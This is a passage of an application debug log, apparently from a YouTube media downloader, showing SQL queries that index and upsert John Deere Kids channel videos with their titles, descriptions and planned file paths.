s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [6] 13:14:10.650 [debug] QUERY OK source="media_items" db=0.3ms idle=8.5ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-12-13 14:00:07Z], 6] 13:14:10.658 [debug] QUERY OK source="media_items" db=6.9ms idle=5.5ms INSERT INTO "media_items" AS m0 ("description","title","uuid","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["In this BRAND NEW Farming Simulator Kids episode, Claire, Max, Ben, Janelle, and all the farm animals pack their day off with fun, games, and farm adventures.\n\n🚜- Subscribe for more John Deere Kids videos πŸ–₯️ : \n / @johndeerekids", "Picking Apples & Milking Cows | Farming Simulator Kids | John Deere Kids", "0069b85b-200a-49c6-a7d1-8fd54c402f81", 235, false, "3SLsXk3d1T4", "https://www.youtube.com/watch?v=3SLsXk3d1T4", 12, "/downloads/shows/JohnDeereKids/Season 2025/JohnDeereKids - 2025-12-13 - Picking Apples & Milking Cows | Farming Simulator Kids | John Deere Kids.mp4", false, false, false, 6, [], 98, ~U[2025-12-13 14:00:07Z], ~U[2026-09-03 03:14:10Z], ~U[2026-09-03 03:14:10Z], "In this BRAND NEW Farming Simulator Kids episode, Claire, Max, Ben, Janelle, and all the farm animals pack their day off with fun, games, and farm adventures.\n\n🚜- Subscribe for more John Deere Kids videos πŸ–₯️ : \n / @johndeerekids", "Picking Apples & Milking Cows | Farming Simulator Kids | John Deere Kids", 235, false, "3SLsXk3d1T4", "https://www.youtube.com/watch?v=3SLsXk3d1T4", "/downloads/shows/JohnDeereKids/Season 2025/JohnDeereKids - 2025-12-13 - Picking Apples & Milking Cows | Farming Simulator Kids | John Deere Kids.mp4", false, 6, ~U[2025-12-13 14:00:07Z]] 13:14:10.666 [debug] QUERY OK source="sources" db=7.3ms queue=0.1ms idle=11.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [6] 13:14:10.668 [debug] QUERY OK source="media_items" db=0.6ms queue=0.1ms idle=17.5ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-12-06 14:00:30Z], 6] 13:14:10.669 [debug] QUERY OK source="media_items" db=1.0ms idle=18.1ms INSERT INTO "media_items" AS m0 ("description","title","uuid","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["In this BRAND NEW Farming Simulator Kids episode, Claire, Max, Ben, Janelle, and all of the animals search everywhere on the farm to find the missing cows!\n\n🚜- Subscribe for more John Deere Kids videos πŸ–₯️ : \n / @johndeerekids", "The Cows On The Farm Go Missing! | Farming Simulator Kids | John Deere Kids", "12ba092b-7788-4348-a6af-4642b5b41cd5", 243, false, "AG19axKey2c", "https://www.youtube.com/watch?v=AG19axKey2c", 13, "/downloads/shows/JohnDeereKids/Season 2025/JohnDeereKids - 2025-12-06 - The Cows On The Farm Go Missing! | Farming Simulator Kids | John Deere Kids.mp4", false, false, false, 6, [], 98, ~U[2025-12-06 14:00:30Z], ~U[2026-09-03 03:14:10Z], ~U[2026-09-03 03:14:10Z], "In this BRAND NEW Farming Simulator Kids episode, Claire, Max, Ben, Janelle, and all of the animals search everywhere on the farm to find the missing cows!\n\n🚜- Subscribe for more John Deere Kids videos πŸ–₯️ : \n / @johndeerekids", "The Cows On The Farm Go Missing! | Farming Simulator Kids | John Deere Kids", 243, false, "AG19axKey2c", "https://www.youtube.com/watch?v=AG19axKey2c", "/downloads/shows/JohnDeereKids/Season 2025/JohnDeereKids - 2025-12-06 - The Cows On The Farm Go Missing! | Farming Simulator Kids | John Deere Kids.mp4", false, 6, ~U[2025-12-06 14:00:30Z]] 13:14:10.670 [debug] QUERY OK source="sources" db=0.4ms idle=19.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [6] 13:14:10.686 [debug] QUERY OK source="media_items" db=2.2ms queue=13.1ms idle=12.7ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-11-29 14:01:18Z], 6] 13:14:10.703 [debug] QUERY OK source="media_items" db=15.4ms queue=0.3ms idle=20.5ms INSERT INTO "media_items" AS m0 ("description","title","uuid","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["In this BRAND NEW Farming Simulator Kids episode, Claire, Max, Ben, and Janelle team up with their animal friends to gather all of the ripe, delicious apples falling from the trees! \n\n#JohnDeereKids #JohnDeere \n\n🚜- Subscribe for more John Deere Kids videos πŸ–₯️ : \n / @johndeerekids", "Horses, Pigs & Chickens Play On The Farm! | Farming Simulator Kids | John Deere Kids", "86513551-508e-4efd-bbcf-af67c5627c55", 247, false, "n3DF7ot7BZc", "https://www.youtube.com/watch?v=n3DF7ot7BZc", 14, "/downloads/shows/JohnDeereKids/Season 2025/JohnDeereKids - 2025-11-29 - Horses, Pigs & Chickens Play On The Farm! | Farming Simulator Kids | John Deere Kids.mp4", false, false, false, 6, [], 98, ~U[2025-11-29 14:01:18Z], ~U[2026-09-03 03:14:10Z], ~U[2026-09-03 03:14:10Z], "In this BRAND NEW Farming Simulator Kids episode, Claire, Max, Ben, and Janelle team up with their animal friends to gather all of the ripe, delicious apples falling from the trees! \n\n#JohnDeereKids #JohnDeere \n\n🚜- Subscribe for more John Deere Kids videos πŸ–₯️ : \n / @johndeerekids", "Horses, Pigs & Chickens Play On The Farm! | Farming Simulator Kids | John Deere Kids", 247, false, "n3DF7ot7BZc", "https://www.youtube.com/watch?v=n3DF7ot7BZc", "/downloads/shows/JohnDeereKids/Season 2025/JohnDeereKids - 2025-11-29 - Horses, Pigs & Chickens Play On The Farm! | Farming Simulator Kids | John Deere Kids.mp4", false, 6, ~U[2025-11-29 14:01:18Z]] 13:14:10.729 [debug] QUERY OK source="sources" db=25.8ms queue=0.1ms idle=35.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [6] 13:14:10.736 [debug] QUERY OK source="media_items" db=6.0ms queue=0.1ms idle=60.5ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-11-26 14:00:01Z], 6] 13:14:10.746 [debug] QUERY OK source="media_items" db=8.1ms queue=0.1ms idle=66.9ms INSERT INTO "media_items" AS m0 ("description","title","uuid","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["In this BRAND NEW episode of Farming Simulator Kids, Parkland Picnic, the main characters Claire, Max, Ben, and Janelle work so hard that they have way more food than they can ever eat! They plan a picnic on the farm with their friends and the farm animals.\n\n\n#JohnDeereKids #JohnDeere \n\n🚜- Subscribe for more John Deere Kids videos πŸ–₯️ : \n / @johndeerekids", "Friends & Farm Animals Picnic 🚜 | Farming Simulator Kids | John Deere Kids", "2a43a84a-4d85-4ab6-99a3-3b6d73e00e42", 202, false, "0-gRrpnJGrI", "https://www.youtube.com/watch?v=0-gRrpnJGrI", 15, "/downloads/shows/JohnDeereKids/Season 2025/JohnDeereKids - 2025-11-26 - Friends & Farm Animals Picnic 🚜 | Farming Simulator Kids | John Deere Kids.mp4", false, false, false, 6, [], 98, ~U[2025-11-26 14:00:01Z], ~U[2026-09-03 03:14:10Z], ~U[2026-09-03 03:14:10Z], "In this BRAND NEW episode of Farming Simulator Kids, Parkland Picnic, the main characters Claire, Max, Ben, and Janelle work so hard that they have way more food than they can ever eat! They plan a picnic on the farm with their friends and the farm animals.\n\n\n#JohnDeereKids #JohnDeere \n\n🚜- Subscribe for more John Deere Kids videos πŸ–₯️ : \n / @johndeerekids", "Friends & Farm Animals Picnic 🚜 | Farming Simulator Kids | John Deere Kids", 202, false, "0-gRrpnJGrI", "https://www.youtube.com/watch?v=0-gRrpnJGrI", "/downloads/shows/JohnDeereKids/Season 2025/JohnDeereKids - 2025-11-26 - Friends & Farm Animals Picnic 🚜 | Farming Simulator Kids | John Deere Kids.mp4", false, 6, ~U[2025-11-26 14:00:01Z]] 13:14:10.752 [debug] QUERY OK source="sources" db=4.0ms queue=0.1ms idle=60.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [6] 13:14:10.755 [debug] QUERY OK source="media_items" db=1.9ms queue=0.3ms idle=49.5ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-09-20 00:00:00Z], 6] 13:14:10.756 [debug] QUERY OK source="media_items" db=1.1ms idle=25.7ms INSERT INTO "media_items" AS m0 ("description","title","uuid","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Minecraft & John Deere team up for a free game, 'TractorCraft\"! Check out Part 2 of Lexi and Jude's wild ride through the world of 'TractorCraft: Secrets of Soil,' John Deere's new Minecraft world!", "Minecraft Farming Simulator 🚜 Let's Play TractorCraft: Part 2! | John Deere Kids", "534f99af-a279-4a2e-ad07-b37f1e7c82d0", 899, false, "DkFohwPyZ0Q", "https://www.youtube.com/watch?v=DkFohwPyZ0Q", 16, "/downloads/shows/JohnDeereKids/Season 2025/JohnDeereKids - 2025-09-20 - Minecraft Farming Simulator 🚜 Let's Play TractorCraft: Part 2! | John Deere Kids.NA", false, false, false, 6, [], 98, ~U[2025-09-20 00:00:00Z], ~U[2026-09-03 03:14:10Z], ~U[2026-09-03 03:14:10Z], "Minecraft & John Deere team up for a free game, 'TractorCraft\"! Check out Part 2 of Lexi and Jude's wild ride through the world of 'TractorCraft: Secrets of Soil,' John Deere's new Minecraft world!", "Minecraft Farming Simulator 🚜 Let's Play TractorCraft: Part 2! | John Deere Kids", 899, false, "DkFohwPyZ0Q", "https://www.youtube.com/watch?v=DkFohwPyZ0Q", "/downloads/shows/JohnDeereKids/Season 2025/JohnDeereKids - 2025-09-20 - Minecraft Farming Simulator 🚜 Let's Play TractorCraft: Part 2! | John Deere Kids.NA", false, 6, ~U[2025-09-20 00:00:00Z]] 13:14:10.757 [debug] QUERY OK source="sources" db=0.3ms idle=20.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [6] 13:14:10.758 [debug] QUERY OK source="media_items" db=0.4ms idle=11.9ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-08-23 13:00:44Z], 6] 13:14:10.760 [debug] QUERY OK source="media_items" db=1.1ms idle=7.4ms INSERT INTO "media_items" AS m0 ("description","title","uuid","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Take a trip to the farm and the construction site and see the John Deere tractors, diggers, and BIG machines hard at work!\n\n#JohnDeereKids #JohnDeere \n\n🚜- Subscribe for more John Deere Kids videos πŸ–₯️ : \n / @johndeerekids", "Big Farm Tractors & Diggers at Work 🚧 | John Deere Kids", "491f62ff-a44c-4f5b-948b-20ff46b896e1", 74, false, "MGdLUHhUaJo", "https://www.youtube.com/watch?v=MGdLUHhUaJo", 17, "/downloads/shows/JohnDeereKids/Season 2025/JohnDeereKids - 2025-08-23 - Big Farm Tractors & Diggers at Work 🚧 | John Deere Kids.mp4", false, false, false, 6, [], 98, ~U[2025-08-23 13:00:44Z], ~U[2026-09-03 03:14:10Z], ~U[2026-09-03 03:14:10Z], "Take a trip to the farm and the construction site and see the John Deere tractors, diggers, and BIG machines hard at work!\n\n#JohnDeereKids #JohnDeere \n\n🚜- Subscribe for more John Deere Kids videos πŸ–₯️ : \n / @johndeerekids", "Big Farm Tractors & Diggers at Work 🚧 | John Deere Kids", 74, false, "MGdLUHhUaJo", "https://www.youtube.com/watch?v=MGdLUHhUaJo", "/downloads/shows/JohnDeereKids/Season 2025/JohnDeereKids - 2025-08-23 - Big Farm Tractors & Diggers at Work 🚧 | John Deere Kids.mp4", false, 6, ~U[2025-08-23 13:00:44Z]] 13:14:10.760 [debug] QUERY OK source="sources" db=0.3ms queue=0.2ms idle=5.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [6] 13:14:10.761 [debug] QUERY OK source="media_items" db=0.4ms idle=4.4ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-06-21 13:00:32Z], 6] 13:14:10.763 [debug] QUERY OK source="media_items" db=0.9ms idle=4.2ms INSERT INTO "media_items" AS m0 ("description","title","uuid","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Let's play a game! Can you spot all of the differences in the Farm and Construction equipment? Play this interactive kids game to test your skills!\n\n🚜- Subscribe for more John Deere Kids videos πŸ–₯️. : \n#JohnDeereKids #JohnDeere \n\n / @johndeerekids", "Spot the Difference Between These Tractors! | John Deere Kids", "009e87e0-1903-4e21-826d-7a015801b5de", 396, false, "CiNmynexoL4", "https://www.youtube.com/watch?v=CiNmynexoL4", 18, "/downloads/shows/JohnDeereKids/Season 2025/JohnDeereKids - 2025-06-21 - Spot the Difference Between These Tractors! | John Deere Kids.mp4", false, false, false, 6, [], 98, ~U[2025-06-21 13:00:32Z], ~U[2026-09-03 03:14:10Z], ~U[2026-09-03 03:14:10Z], "Let's play a game! Can you spot all of the differences in the Farm and Construction equipment? Play this interactive kids game to test your skills!\n\n🚜- Subscribe for more John Deere Kids videos πŸ–₯️. : \n#JohnDeereKids #JohnDeere \n\n / @johndeerekids", "Spot the Difference Between These Tractors! | John Deere Kids", 396, false, "CiNmynexoL4", "https://www.youtube.com/watch?v=CiNmynexoL4", "/downloads/shows/JohnDeereKids/Season 2025/JohnDeereKids - 2025-06-21 - Spot the Difference Between These Tractors! | John Deere Kids.mp4", false, 6, ~U[2025-06-21 13:00:32Z]] 13:14:10.766 [debug] QUERY OK source="sources" db=0.3ms idle=7.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [6] 13:14:10.767 [debug] QUERY OK source="media_items" db=0.2ms idle=6.8ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-06-14 13:00:22Z], 6] 13:14:10.771 [debug] QUERY OK source="media_items" db=3.4ms idle=6.3ms INSERT INTO "media_items" AS m0 ("description","title","uuid","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Welcome to The FURTHER Further Adventures Of Ready Rooster! On the farm, safety first is the ALWAYS the goal! \n\n#JohnDeereKids #JohnDeere \n\n🚜- Subscribe for more John Deere Kids videos πŸ–₯️ : \n / @johndeerekids", "Protecting The Animals On The Farm! | Super Hero Ready Rooster -Ep.2 πŸ“ 🚜 | John Deere Kids", "2b0dbb13-cc80-4ada-93e8-d07f05b42e6a", 135, false, "6GPaemyjS-8", "https://www.youtube.com/watch?v=6GPaemyjS-8", 19, "/downloads/shows/JohnDeereKids/Season 2025/JohnDeereKids - 2025-06-14 - Protecting The Animals On The Farm! | Super Hero Ready Rooster -Ep.2 πŸ“ 🚜 | John Deere Kids.mp4", false, false, false, 6, [], 98, ~U[2025-06-14 13:00:22Z], ~U[2026-09-03 03:14:10Z], ~U[2026-09-03 03:14:10Z], "Welcome to The FURTHER Further Adventures Of Ready Rooster! On the farm, safety first is the ALWAYS the goal! \n\n#JohnDeereKids #JohnDeere \n\n🚜- Subscribe for more John Deere Kids videos πŸ–₯️ : \n / @johndeerekids", "Protecting The Animals On The Farm! | Super Hero Ready Rooster -Ep.2 πŸ“ 🚜 | John Deere Kids", 135, false, "6GPaemyjS-8", "https://www.youtube.com/watch?v=6GPaemyjS-8", "/downloads/shows/JohnDeereKids/Season 2025/JohnDeereKids - 2025-06-14 - Protecting The Animals On The Farm! | Super Hero Ready Rooster -Ep.2 πŸ“ 🚜 | John Deere Kids.mp4", false, 6, ~U[2025-06-14 13:00:22Z]] 13:14:10.773 [debug] QUERY OK source="sources" db=1.6ms queue=0.1ms idle=10.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [6] 13:14:10.775 [debug] QUERY OK source="media_items" db=0.9ms queue=0.1ms idle=11.1ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-06-11 15:17:03Z], 6] 13:14:10.779 [debug] QUERY OK source="media_items" db=2.9ms idle=9.5ms INSERT INTO "media_items" AS m0 ("description","title","uuid","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Cultivating tomorrow through play! From backyard adventures to big dreams β€” play lays the groundwork for a brighter future!\n\n#JohnDeereKids #JohnDeere \n\n🚜- Subscribe for more John Deere Kids videos πŸ–₯️ : \n / @johndeerekids", "Playing On The Farm! International Day of Play 🚜 | John Deere Kids", "f87c6fbf-075e-432a-be61-ec3bc1444972", 62, false, "2Sx97tl176Y", "https://www.youtube.com/watch?v=2Sx97tl176Y", 20, "/downloads/shows/JohnDeereKids/Season 2025/JohnDeereKids - 2025-06-11 - Playing On The Farm! International Day of Play 🚜 | John Deere Kids.mp4", false, false, false, 6, [], 98, ~U[2025-06-11 15:17:03Z], ~U[2026-09-03 03:14:10Z], ~U[2026-09-03 03:14:10Z], "Cultivating tomorrow through play! From backyard adventures to big dreams β€” play lays the groundwork for a brighter future!\n\n#JohnDeereKids #JohnDeere \n\n🚜- Subscribe for more John Deere Kids videos πŸ–₯️ : \n / @johndeerekids", "Playing On The Farm! International Day of Play 🚜 | John Deere Kids", 62, false, "2Sx97tl176Y", "https://www.youtube.com/watch?v=2Sx97tl176Y", "/downloads/shows/JohnDeereKids/Season 2025/JohnDeereKids - 2025-06-11 - Playing On The Farm! International Day of Play 🚜 | John Deere Kids.mp4", false, 6, ~U[2025-06-11 15:17:03Z]] 13:14:10.780 [debug] QUERY OK source="sources" db=0.4ms idle=12.8ms UPDATE "sources" SET "last_indexed_at" = ?, "updated_at" = ? WHERE "id" = ? [~U[2026-09-03 03:14:10Z], ~U[2026-09-03 03:14:10Z], 6] 13:14:10.789 [debug] QUERY OK source="media_items" db=1.5ms queue=0.1ms idle=16.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [6] 13:14:10.790 [debug] QUERY OK source="media_items" db=0.9ms idle=16.1ms SELECT count(*) FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' 